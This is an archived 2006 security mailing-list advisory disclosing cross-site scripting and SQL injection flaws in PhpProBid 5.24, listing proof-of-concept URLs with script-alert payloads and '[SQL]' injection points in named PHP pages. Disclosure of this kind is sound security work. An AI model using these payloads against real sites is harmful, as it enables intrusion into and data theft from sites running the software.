|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
Phpprobid <= 5.24 XSS SQL injection Vulnerability
securityconnection
gmail.com
Date: Tue Jul 25 2006 - 12:15:14 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Phpprobid 5.24
http://www.phpprobid.com
--------------------------
Cross Site Scripting (XSS)
--------------------------
http://target.xx/auctionsearch.php?advsrc="<script>alert(/EllipsisSecurityTest/)</script>
http://target.xx/auctionsearch.php?start=1&advsrc="><script>alert(/EllipsisSecurityTest/)</script>
-------------
SQL injection
-------------
http://target.xx/viewfeedback.php?view=1'[SQL]
http://target.xx/viewfeedback.php?view=all&start=1'[SQL]
http://target.xx/categories.php?parent=&start=&orderField=itemname&orderType=1'[SQL]
-----------------
Ellipsis Security
http://www.ellsec.org
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]